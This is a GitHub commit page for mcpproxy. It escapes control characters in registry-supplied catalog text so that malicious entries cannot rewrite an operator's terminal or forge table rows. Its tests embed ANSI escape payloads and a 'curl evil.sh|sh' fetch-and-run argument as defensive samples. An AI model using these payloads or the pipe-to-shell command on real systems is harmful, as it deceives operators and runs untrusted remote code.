Skip to content

Commit fb859d4

Browse files
rudycelekliDumbrisclaude
authored
fix(cli): escape registry-supplied text in catalog search and show (#1767)
## Bug `mcpproxy catalog search` and `mcpproxy catalog show` print registry-supplied strings (title, id, publisher, description, install command, required input names) straight to the terminal. The search table only byte-truncates the title, and `show` prints everything with `%s`. These strings come from remote registries (the official registry, Smithery, custom `registries` entries). An entry whose title or description contains ANSI escapes can clear or rewrite the operator's screen. A newline can forge extra table rows next to a real result, for example a fake `✓ added` line. `mcpproxy tools list` already escapes upstream-controlled text for this reason, using `sanitizeCell`/`sanitizeDescriptionCell` and `detect.CapEvidence` (GH #938). The catalog commands never got the same treatment. ## Trigger A registry entry with this title: ``` "\x1b[2J\x1b[1;1HTotally Safe\nofficial trusted http ✓" ``` Running `mcpproxy catalog search <q>` or `mcpproxy catalog show official/<id>` writes the raw ESC sequences to the tty. ## Fix Run the registry-supplied fields through the existing helpers: - `sanitizeDescriptionCell` for prose (the title, which keeps the 40-rune cap, and the description). - `sanitizeCell` for identifiers (id, publisher, transport, install URL and command, input names). Control and format runes are escaped (made visible), not dropped. JSON/YAML output is unchanged. ## Test `TestCatalogOutput_EscapesRegistryControlCharacters` renders a poisoned result through `printCatalogTable` and `renderCatalogShow` and asserts that neither output contains a raw ESC byte. ## Commands run - `go vet ./cmd/mcpproxy`: clean - `go test -count=1 ./cmd/mcpproxy`: ok (cgo build, run locally with `SDKROOT` set to the macOS 26.5 SDK) - With the fix reverted (`git stash` of `catalog_cmd.go`), the new test fails with `search table wrote a raw ESC to the terminal` and `show wrote a raw ESC to the terminal`. - `gofmt -l` on the edited files: no output --------- Co-authored-by: Algis Dumbris <a.dumbris@gmail.com> Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
1 parent a8adffc commit fb859d4

2 files changed

Lines changed: 123 additions & 9 deletions

File tree

‎cmd/mcpproxy/catalog_cmd.go‎

Lines changed: 51 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@ import (
66
"os"
77
"strings"
88
"sync"
9+
"unicode"
910

1011
"github.com/spf13/cobra"
1112

@@ -429,7 +430,7 @@ func printCatalogTable(formatter clioutput.OutputFormatter, results []registries
429430
if r.FromCache {
430431
source += " (cached)"
431432
}
432-
rows = append(rows, []string{source, r.ID, truncateCell(r.Title, 40), r.Transport, added})
433+
rows = append(rows, []string{source, escapeCatalogText(r.ID), sanitizeDescriptionCell(r.Title, 40), escapeCatalogText(r.Transport), added})
433434
}
434435
out, err := formatter.FormatTable(headers, rows)
435436
if err == nil {
@@ -438,30 +439,71 @@ func printCatalogTable(formatter clioutput.OutputFormatter, results []registries
438439
fmt.Printf("Found %d results. Add one with: mcpproxy catalog add <source>/<id>\n", len(results))
439440
}
440441

442+
// escapeCatalogText escapes control and format runes in registry-supplied
443+
// text (GH #938) WITHOUT truncating it. sanitizeCell(s, 0) still caps at
444+
// detect.MaxEvidenceLen (200 runes), which would cut catalog IDs that
445+
// `catalog add` must match exactly and hide the tail of an install command
446+
// the operator is reviewing.
447+
func escapeCatalogText(s string) string {
448+
var b strings.Builder
449+
b.Grow(len(s))
450+
for _, r := range s {
451+
if unicode.IsControl(r) || unicode.Is(unicode.Cf, r) {
452+
fmt.Fprintf(&b, "\\u%04x", r)
453+
continue
454+
}
455+
b.WriteRune(r)
456+
}
457+
return b.String()
458+
}
459+
460+
// escapeCatalogProse is escapeCatalogText for free text: runs of ASCII
461+
// whitespace collapse to one space first, as sanitizeDescriptionCell does.
462+
func escapeCatalogProse(s string) string {
463+
var b strings.Builder
464+
b.Grow(len(s))
465+
pendingSpace := false
466+
for _, r := range s {
467+
switch r {
468+
case ' ', '\n', '\r', '\t', '\v', '\f':
469+
pendingSpace = b.Len() > 0
470+
continue
471+
}
472+
if pendingSpace {
473+
b.WriteByte(' ')
474+
pendingSpace = false
475+
}
476+
b.WriteRune(r)
477+
}
478+
return escapeCatalogText(b.String())
479+
}
480+
441481
func renderCatalogShow(formatter clioutput.OutputFormatter, result registries.CatalogResult) error {
442482
if _, isTable := formatter.(*clioutput.TableFormatter); isTable {
443-
fmt.Printf("%s\n", result.Title)
444-
fmt.Printf(" ref: %s/%s\n", result.Source, result.ID)
483+
// Every string below comes from a remote registry; escape it like
484+
// upstream tool text so it cannot drive the terminal (GH #938).
485+
fmt.Printf("%s\n", escapeCatalogProse(result.Title))
486+
fmt.Printf(" ref: %s/%s\n", result.Source, escapeCatalogText(result.ID))
445487
if result.Publisher != "" {
446-
fmt.Printf(" publisher: %s\n", result.Publisher)
488+
fmt.Printf(" publisher: %s\n", escapeCatalogText(result.Publisher))
447489
}
448490
fmt.Printf(" official: %v\n", result.Official)
449491
fmt.Printf(" verified: %v\n", result.Verified)
450-
fmt.Printf(" transport: %s\n", result.Transport)
492+
fmt.Printf(" transport: %s\n", escapeCatalogText(result.Transport))
451493
if result.Install.URL != "" {
452-
fmt.Printf(" install url: %s\n", result.Install.URL)
494+
fmt.Printf(" install url: %s\n", escapeCatalogText(result.Install.URL))
453495
} else {
454-
fmt.Printf(" install cmd: %s %s\n", result.Install.Command, strings.Join(result.Install.Args, " "))
496+
fmt.Printf(" install cmd: %s\n", escapeCatalogText(strings.Join(append([]string{result.Install.Command}, result.Install.Args...), " ")))
455497
}
456498
if result.Description != "" {
457-
fmt.Printf(" description: %s\n", result.Description)
499+
fmt.Printf(" description: %s\n", escapeCatalogProse(result.Description))
458500
}
459501
for _, in := range result.RequiredInputs {
460502
secret := ""
461503
if in.SecretLike {
462504
secret = " (secret)"
463505
}
464-
fmt.Printf(" requires: %s%s\n", in.Name, secret)
506+
fmt.Printf(" requires: %s%s\n", escapeCatalogText(in.Name), secret)
465507
}
466508
fmt.Printf(" added: %v\n", result.Added)
467509
return nil
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
package main
2+
3+
import (
4+
"strings"
5+
"testing"
6+
7+
clioutput "github.com/smart-mcp-proxy/mcpproxy-go/internal/cli/output"
8+
"github.com/smart-mcp-proxy/mcpproxy-go/internal/registries"
9+
)
10+
11+
// Catalog entries come from remote registries. A title or description that
12+
// carries ANSI escapes or a newline must be escaped, not written raw to the
13+
// operator's terminal (same contract as upstream tool text, GH #938).
14+
func TestCatalogOutput_EscapesRegistryControlCharacters(t *testing.T) {
15+
const esc = "\x1b[2J\x1b[1;1H"
16+
result := registries.CatalogResult{
17+
Source: "official",
18+
ID: "evil" + esc,
19+
Title: esc + "Totally Safe\nofficial trusted http ✓",
20+
Publisher: esc + "pub",
21+
Description: "line one\n" + esc + "approved",
22+
Transport: "http",
23+
}
24+
formatter := &clioutput.TableFormatter{}
25+
26+
table := captureOutput(func() { printCatalogTable(formatter, []registries.CatalogResult{result}) })
27+
show := captureOutput(func() {
28+
if err := renderCatalogShow(formatter, result); err != nil {
29+
t.Fatalf("render: %v", err)
30+
}
31+
})
32+
33+
for name, out := range map[string]string{"search table": table, "show": show} {
34+
if strings.Contains(out, "\x1b") {
35+
t.Errorf("%s wrote a raw ESC to the terminal:\n%q", name, out)
36+
}
37+
}
38+
if strings.Contains(table, "\nofficial trusted") {
39+
t.Errorf("a newline in the title forged an extra table row:\n%q", table)
40+
}
41+
}
42+
43+
// Escaping must not truncate: `catalog add` needs the exact ID, and the show
44+
// view is where the operator reviews the full install command.
45+
func TestCatalogOutput_EscapingDoesNotTruncate(t *testing.T) {
46+
longID := strings.Repeat("a", 201)
47+
args := []string{"-y", "@safe/pkg"}
48+
for i := 0; i < 40; i++ {
49+
args = append(args, "--flag-padding")
50+
}
51+
args = append(args, "--exec", "curl evil.sh|sh")
52+
result := registries.CatalogResult{
53+
Source: "custom", ID: longID, Title: "t", Transport: "stdio",
54+
Install: registries.CatalogInstall{Command: "npx", Args: args},
55+
Description: strings.Repeat("word ", 60) + "TAIL",
56+
}
57+
formatter := &clioutput.TableFormatter{}
58+
table := captureOutput(func() { printCatalogTable(formatter, []registries.CatalogResult{result}) })
59+
show := captureOutput(func() {
60+
if err := renderCatalogShow(formatter, result); err != nil {
61+
t.Fatalf("render: %v", err)
62+
}
63+
})
64+
if !strings.Contains(table, longID) {
65+
t.Errorf("search table truncated the catalog ID:\n%s", table)
66+
}
67+
for _, want := range []string{longID, "curl evil.sh|sh", "TAIL"} {
68+
if !strings.Contains(show, want) {
69+
t.Errorf("show output lost %q:\n%s", want, show)
70+
}
71+
}
72+
}

0 commit comments

Comments
 (0)